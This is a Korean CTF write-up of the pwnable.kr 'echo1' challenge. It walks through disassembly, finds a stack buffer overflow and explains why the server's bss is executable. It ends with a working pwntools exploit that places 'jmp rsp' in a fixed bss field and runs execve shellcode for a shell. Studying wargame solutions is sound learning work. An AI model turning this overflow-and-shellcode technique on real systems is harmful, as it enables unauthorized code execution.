해설

Pwn this echo service.

 

이 문제는 다시 정리하면서 굉장히 고생했던 문제이다.

 

문제에서 제공하는 echo1 바이너리를 실행 시켜보면 처음에 이름(<input_name>)을 물어보고 echo type을 선택할 수 있는데, echo1 문제는 1번인 BOF echo만 활성화 되어있다. BOF echo를 선택할 경우 hello <input_name>이라는 출력과 함께 사용자로부터 입력을 받고, goodbye <input_name>이라는 메시지와 함께 echo type을 선택하는 부분으로 넘어간다.

 

gdb로 echo1의 main 함수, echo1 함수, get_input 함수 코드를 확인해 보면 다음과 같다.

 

Dump of assembler code for function main:
   0x00000000004008b1 <+0>:     push   rbp
   0x00000000004008b2 <+1>:     mov    rbp,rsp
   0x00000000004008b5 <+4>:     sub    rsp,0x30
   0x00000000004008b9 <+8>:     mov    rax,QWORD PTR [rip+0x2017a0]        # 0x602060 <stdout@@GLIBC_2.2.5>
   0x00000000004008c0 <+15>:    mov    ecx,0x0
   0x00000000004008c5 <+20>:    mov    edx,0x2
   0x00000000004008ca <+25>:    mov    esi,0x0
   0x00000000004008cf <+30>:    mov    rdi,rax
   0x00000000004008d2 <+33>:    call   0x400690 <setvbuf@plt>
   0x00000000004008d7 <+38>:    mov    rax,QWORD PTR [rip+0x20178a]        # 0x602068 <stdin@@GLIBC_2.2.5>
   0x00000000004008de <+45>:    mov    ecx,0x0
   0x00000000004008e3 <+50>:    mov    edx,0x1
   0x00000000004008e8 <+55>:    mov    esi,0x0
   0x00000000004008ed <+60>:    mov    rdi,rax
   0x00000000004008f0 <+63>:    call   0x400690 <setvbuf@plt>
   0x00000000004008f5 <+68>:    mov    edi,0x28
   0x00000000004008fa <+73>:    call   0x400680 <malloc@plt>
   0x00000000004008ff <+78>:    mov    QWORD PTR [rip+0x201792],rax        # 0x602098 <o>
   0x0000000000400906 <+85>:    mov    rax,QWORD PTR [rip+0x20178b]        # 0x602098 <o>
   0x000000000040090d <+92>:    mov    QWORD PTR [rax+0x18],0x4007c0
   0x0000000000400915 <+100>:   mov    rax,QWORD PTR [rip+0x20177c]        # 0x602098 <o>
   0x000000000040091c <+107>:   mov    QWORD PTR [rax+0x20],0x4007ec
   0x0000000000400924 <+115>:   mov    eax,0x400ba4
   0x0000000000400929 <+120>:   mov    rdi,rax
   0x000000000040092c <+123>:   mov    eax,0x0
   0x0000000000400931 <+128>:   call   0x400640 <printf@plt>
   0x0000000000400936 <+133>:   mov    eax,0x400bbe
   0x000000000040093b <+138>:   lea    rdx,[rbp-0x20]
   0x000000000040093f <+142>:   mov    rsi,rdx
   0x0000000000400942 <+145>:   mov    rdi,rax
   0x0000000000400945 <+148>:   mov    eax,0x0
   0x000000000040094a <+153>:   call   0x4006a0 <__isoc99_scanf@plt>
   0x000000000040094f <+158>:   mov    rax,QWORD PTR [rip+0x201742]        # 0x602098 <o>
   0x0000000000400956 <+165>:   lea    rdx,[rbp-0x20]
   0x000000000040095a <+169>:   mov    rcx,QWORD PTR [rdx]
   0x000000000040095d <+172>:   mov    QWORD PTR [rax],rcx
   0x0000000000400960 <+175>:   mov    rcx,QWORD PTR [rdx+0x8]
   0x0000000000400964 <+179>:   mov    QWORD PTR [rax+0x8],rcx
   0x0000000000400968 <+183>:   mov    rdx,QWORD PTR [rdx+0x10]
   0x000000000040096c <+187>:   mov    QWORD PTR [rax+0x10],rdx
   0x0000000000400970 <+191>:   lea    rax,[rbp-0x20]
   0x0000000000400974 <+195>:   mov    eax,DWORD PTR [rax]
   0x0000000000400976 <+197>:   mov    DWORD PTR [rip+0x201724],eax        # 0x6020a0 <id>
   0x000000000040097c <+203>:   call   0x400670 <getchar@plt>
   0x0000000000400981 <+208>:   mov    QWORD PTR [rip+0x2016f4],0x400818        # 0x602080 <func>
   0x000000000040098c <+219>:   mov    QWORD PTR [rip+0x2016f1],0x400872        # 0x602088 <func+8>
   0x0000000000400997 <+230>:   mov    QWORD PTR [rip+0x2016ee],0x400887        # 0x602090 <func+16>
   0x00000000004009a2 <+241>:   mov    DWORD PTR [rbp-0x24],0x0
   0x00000000004009a9 <+248>:   mov    edi,0x400bc3
   0x00000000004009ae <+253>:   call   0x400630 <puts@plt>
   0x00000000004009b3 <+258>:   mov    edi,0x400bd9
   0x00000000004009b8 <+263>:   call   0x400630 <puts@plt>
   0x00000000004009bd <+268>:   mov    edi,0x400be9
   0x00000000004009c2 <+273>:   call   0x400630 <puts@plt>
   0x00000000004009c7 <+278>:   mov    edi,0x400bf9
   0x00000000004009cc <+283>:   call   0x400630 <puts@plt>
   0x00000000004009d1 <+288>:   mov    edi,0x400c09
   0x00000000004009d6 <+293>:   call   0x400630 <puts@plt>
   0x00000000004009db <+298>:   mov    eax,0x400c15
   0x00000000004009e0 <+303>:   mov    rdi,rax
   0x00000000004009e3 <+306>:   mov    eax,0x0
   0x00000000004009e8 <+311>:   call   0x400640 <printf@plt>
   0x00000000004009ed <+316>:   mov    eax,0x400c18
   0x00000000004009f2 <+321>:   lea    rdx,[rbp-0x24]
   0x00000000004009f6 <+325>:   mov    rsi,rdx
   0x00000000004009f9 <+328>:   mov    rdi,rax
   0x00000000004009fc <+331>:   mov    eax,0x0
   0x0000000000400a01 <+336>:   call   0x4006a0 <__isoc99_scanf@plt>
   0x0000000000400a06 <+341>:   call   0x400670 <getchar@plt>
   0x0000000000400a0b <+346>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000400a0e <+349>:   cmp    eax,0x3
   0x0000000000400a11 <+352>:   jbe    0x400a55 <main+420>
   0x0000000000400a13 <+354>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000400a16 <+357>:   cmp    eax,0x4
   0x0000000000400a19 <+360>:   jne    0x400a49 <main+408>
   0x0000000000400a1b <+362>:   mov    eax,0x0
   0x0000000000400a20 <+367>:   call   0x40089c <cleanup>
   0x0000000000400a25 <+372>:   mov    eax,0x400c20
   0x0000000000400a2a <+377>:   mov    rdi,rax
   0x0000000000400a2d <+380>:   mov    eax,0x0
   0x0000000000400a32 <+385>:   call   0x400640 <printf@plt>
   0x0000000000400a37 <+390>:   call   0x400670 <getchar@plt>
   0x0000000000400a3c <+395>:   mov    DWORD PTR [rbp-0x24],eax
   0x0000000000400a3f <+398>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000400a42 <+401>:   cmp    eax,0x79
   0x0000000000400a45 <+404>:   jne    0x400a71 <main+448>
   0x0000000000400a47 <+406>:   jmp    0x400a77 <main+454>
   0x0000000000400a49 <+408>:   mov    edi,0x400c45
   0x0000000000400a4e <+413>:   call   0x400630 <puts@plt>
   0x0000000000400a53 <+418>:   jmp    0x400a72 <main+449>
   0x0000000000400a55 <+420>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000400a58 <+423>:   sub    eax,0x1
   0x0000000000400a5b <+426>:   mov    eax,eax
   0x0000000000400a5d <+428>:   mov    rdx,QWORD PTR [rax*8+0x602080]
   0x0000000000400a65 <+436>:   mov    eax,0x0
   0x0000000000400a6a <+441>:   call   rdx
   0x0000000000400a6c <+443>:   jmp    0x4009a9 <main+248>
   0x0000000000400a71 <+448>:   nop
   0x0000000000400a72 <+449>:   jmp    0x4009a9 <main+248>
   0x0000000000400a77 <+454>:   mov    edi,0x400c52
   0x0000000000400a7c <+459>:   call   0x400630 <puts@plt>
   0x0000000000400a81 <+464>:   mov    eax,0x0
   0x0000000000400a86 <+469>:   leave
   0x0000000000400a87 <+470>:   ret

 

우선 main에서는 앞서 실행 시 확인했듯이 scanf로 rbp-0x20에 입력을 받고, 입력 받은 값을 0x602098에 저장된 힙 메모리에 0x18바이트만큼 옮긴다. 그 후 입력 받은 값중 앞의 4바이트를 짤라서 0x6020a0(id)라는 부분에 저장한다. 이 부분은 bss 영역으로, 스태틱 변수가 저장되는 곳이다. 그 후 실행흐름에 따라 echo1 함수를 실행하게 될텐데 echo1 함수를 보자.

Dump of assembler code for function echo1:
   0x0000000000400818 <+0>:     push   rbp
   0x0000000000400819 <+1>:     mov    rbp,rsp
   0x000000000040081c <+4>:     sub    rsp,0x20
   0x0000000000400820 <+8>:     mov    rax,QWORD PTR [rip+0x201871]        # 0x602098 <o>
   0x0000000000400827 <+15>:    mov    rdx,QWORD PTR [rax+0x18]
   0x000000000040082b <+19>:    mov    rax,QWORD PTR [rip+0x201866]        # 0x602098 <o>
   0x0000000000400832 <+26>:    mov    rdi,rax
   0x0000000000400835 <+29>:    call   rdx
   0x0000000000400837 <+31>:    lea    rax,[rbp-0x20]
   0x000000000040083b <+35>:    mov    esi,0x80
   0x0000000000400840 <+40>:    mov    rdi,rax
   0x0000000000400843 <+43>:    call   0x400794 <get_input>
   0x0000000000400848 <+48>:    lea    rax,[rbp-0x20]
   0x000000000040084c <+52>:    mov    rdi,rax
   0x000000000040084f <+55>:    call   0x400630 <puts@plt>
   0x0000000000400854 <+60>:    mov    rax,QWORD PTR [rip+0x20183d]        # 0x602098 <o>
   0x000000000040085b <+67>:    mov    rdx,QWORD PTR [rax+0x20]
   0x000000000040085f <+71>:    mov    rax,QWORD PTR [rip+0x201832]        # 0x602098 <o>
   0x0000000000400866 <+78>:    mov    rdi,rax
   0x0000000000400869 <+81>:    call   rdx
   0x000000000040086b <+83>:    mov    eax,0x0
   0x0000000000400870 <+88>:    leave
   0x0000000000400871 <+89>:    ret

 

echo1 함수에서는 call rdx, call get_input, call rdx 크게 세부분으로 나뉘는데, 앞의 call rdx는 greetings 함수, 뒤의 call rdx는 byebye 함수로 시작 인사와 끝 인사를 출력하고, 가운데 call get_input 함수에서 입력을 받는다. get_input 함수는 인자로 {rdi: rbp-0x20, rsi: 0x80}을 받는 것을 확인할 수 있다. get_input 함수를 보자. 

 

Dump of assembler code for function get_input:
   0x0000000000400794 <+0>:     push   rbp
   0x0000000000400795 <+1>:     mov    rbp,rsp
   0x0000000000400798 <+4>:     sub    rsp,0x10
   0x000000000040079c <+8>:     mov    QWORD PTR [rbp-0x8],rdi
   0x00000000004007a0 <+12>:    mov    DWORD PTR [rbp-0xc],esi
   0x00000000004007a3 <+15>:    mov    rax,QWORD PTR [rip+0x2018be]        # 0x602068 <stdin@@GLIBC_2.2.5>
   0x00000000004007aa <+22>:    mov    rdx,rax
   0x00000000004007ad <+25>:    mov    ecx,DWORD PTR [rbp-0xc]
   0x00000000004007b0 <+28>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004007b4 <+32>:    mov    esi,ecx
   0x00000000004007b6 <+34>:    mov    rdi,rax
   0x00000000004007b9 <+37>:    call   0x400660 <fgets@plt>
   0x00000000004007be <+42>:    leave
   0x00000000004007bf <+43>:    ret
End of assembler dump.

 

get_input 함수에서는 fgets로 입력을 받는데 넘겨받은 인자를 그대로 fgets의 인자로 사용한다.  즉 여기서는 fgets((echo1 스택 프레임에서의)rbp-0x20, 0x80, stdin)이 실행 되는것이다. 당연하게도 여기서 bof가 발생한다.

 

자 그럼 버그를 찾았으니 exploit할 방법을 생각해보자...라고 하면서 생각 하기를 시작했는데 이 시점에서 어이없는(?) 장애물이 발생했다. 예전에 풀었던 문제를 다시 정리하는 과정에서 문제에 대한 기억이 하나도 없기 때문에 새롭게 문제를 푸는거나 마찬가지인 상황이었는데, 여기서 공격 기법이 잘 떠오르질 않았다. 아니 안 떠오를 수 밖에 없었다... bof가 발생한다는 뜻은 echo1 프레임에서 main으로 리턴하는 부분의 리턴 주소를 바꿀 수 있다는 말이 된다. 그리고 이렇게 실행 흐름을 조작해서 내가 원하는 코드를 실행하려면 지금 현재 내 수준에서는 생각할만한 방법이 크게는

i) 쉘코드를 실행 가능한 영역 어딘가에 넣어놓고 그쪽으로 뛴다.

ii) got overwrite

iii) RTL (혹은 ROP)

정도이고, 실제로 생각의 흐름도 이 순서대로 진행을 하는 편이기 떄문에, i번 방법을 실행하고자 메모리맵의 실행 가능한 영역을 보기 위해 vmmap으로 확인을 했는데...

 

 

??? 실행 가능한 영역이 코드 섹션 이외에 스택밖에 없다..? 쉘코드를 스택에 넣고 스택으로 뛰어야 된다는 소리인데, 실제로 쉘코드를 스택에 넣는것까지는 매우 쉽지만 스택으로 뛰려면 스택 주소 leak이 있거나, jmp rsp 같은 명령어를 이용해야한다. 스택 leak 같은 경우에는 실제로 echo1 함수의 0x400848 부분부터 그 뒤의 puts 함수가 실행되는 과정까지를 이용하면 leak을 얻을 수 있긴한데, 스택 주소를 leak 할 수 있는지는 잘 모르겠다. jmp rsp 명령어도 해당 명령어가 실행될 실행 가능한 영역이 있어야 하는데, 그게 스택뿐이니.. 가능하지가 않았다. 여기서 뭔가 잘못되었음을 일찍 깨달았어야 했는데...

 

그래서 ii번 방법과 iii번 방법을 고민하기 시작했는데, ii번 방법을 생각해보면 쉘을 따려면 마찬가지로 쉘코드를 실행 가능한 영역에 넣어놓고, got overwrite을 이용해 그쪽으로 뛰어야하니 사실상 i번하고 다를바 없어지게 된다. iii번 방법의 경우에는 실제로 될듯말듯한 방법이었다. RTL로 system("/bin/sh")를 실행시키는 것을 목표로 했다. 처음 echo1 실행 시 이름을 입력받는 부분에 "/bin/sh" 문자열을 넣을 수 있고, libc leak과 heap leak은 앞서 말한 0x400848 부분을 활용하여 얻을 수 있고, bss와 heap을 덮어쓰는건 0x400837 부분을 활용하면 되고, heap을 덮어써서 greetings 함수를 system 함수의 주소로 바꾸고 나면 자연스럽게 rdi에 "/bin/sh" 문자열이 들어가 있기 때문에 실제로 이 방법은 되게 그럴듯 해보였으나... bof로 rbp를 조작해서 bss 영역을 덮어쓰는 과정에서 스택 프레임이 bss 영역으로 바뀌게 되고, 이 때 puts 함수가 실행되면 스택이 쓰기 가능한 영역을 벗어나버려서 세그폴트가 발생했다. 부분적으로는 heap leak하고 libc leak은 얻을 수 있었으나 그 이후의 진행이 되지않았다.

 

결국에는 이 방법도 안되는거였다.(내가 못한걸 수도 있지만) 여기서 하루를 날리고 그 다음날 노트북이 없어서 pwnable.kr 서버에 ssh로 붙어서 문제를 보고 있었는데 화들짝 놀란것이...

 

 

????????????? 뭔가 다르다..? 뭔가 이상하다..? 왜 데이터 섹션에 eXecutable 플래그가 설정되어있지..?

여기서 멘붕에 빠져버렸는데, 왜 kali에서와 pwnable.kr 서버 환경에서의 메모리맵이 다른지 그 이유를 알 수가 없었다.

상식적으로 생각해보면 데이터 섹션은 non executable인게 맞는데, pwnable.kr 서버에서 저렇게 보인다는 것은 저게 실제로 문제에서 의도된 환경이라는 것인가..?싶어서 데이터 세그먼트를 executable로 만드는 방법을 찾아보았다.

 

검색을 잘해야 한다..

마침 딱 첫 링크가 내가 원하던 답이었는데, 해당 링크를 들어가보면 gcc의 -zexecstack 이라는 flag가 stack뿐만 아니라 데이터 세그먼트도 executable로 만들어준다는 설명이었다. 그럼 추측해보면 echo1 바이너리는 -zexecstack flag로 컴파일이 되었을 것인데, 그럼 왜 kali에서는 여전히 데이터 섹션이 non executable 이었을까? 구글갓에게 물어보니 다음과 같은 글을 발견했다.

 

아차차.. 결국엔 커널 버전에 따라 zexecstack의 동작이 달라진다는 것이고, 내 kali는 무려 linux 5.9버전이었다.. 발전된 기술 덕분에 문제 풀이를 해메게 된 것이었다..

 

그럼 다시 i번 방법으로 돌아가보자. 데이터 섹션, 특히 bss가 실행 가능한 영역이라는 것은 아주 귀중한 정보인데, 왜냐하면 bss 영역은 주소가 항상 고정되기 때문이다. 즉 bss 영역에 쉘코드를 넣고 그쪽으로 뛰는 방법을 쓰면 참 좋겠지만 문제는 bss에 입력을 할 방법은 id 4바이트 뿐이라는 것이다. 이 때 쓸 수 있는 방법은 여기다가 jmp rsp 명령어를 넣고 뛴다음, 조작한 리턴 주소 밑에 쉘코드를 넣는것이다. 그러면 조작된 스택 내용은 다음과 같아진다.

 

 

그러면 payload 구성은, asm("jmp rsp") + 1 + bof가 된다. exploit은 다음과 같다.

from pwn import *

context(arch='amd64', os='linux')
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x48\x89\xe7\x6a\x3b\x58\x31\xd2\x0f\x05"

payload =  asm("jmp rsp") + "\n"
payload += str(1) + "\n"
payload += "a"*0x28 + p64(0x6020a0) + shellcode

#p = process("./echo1")
p = remote("pwnable.kr", 9010)
print(p.recvuntil(":"))
p.sendline(payload)
print(p.recvuntil("bye"))
p.interactive()

 

문제를 다시 정리하면서 출제된 환경을 최대한 맞춰서 분석을 해야한다는 것을 뼈저리게 느꼈다... vm을 하나 더 파야겠다

'pwn' 카테고리의 다른 글

pwnable.kr - brain fuck  (0) 2021.03.08
pwnable.kr - tiny_easy  (0) 2021.02.25
pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04

+ Recent posts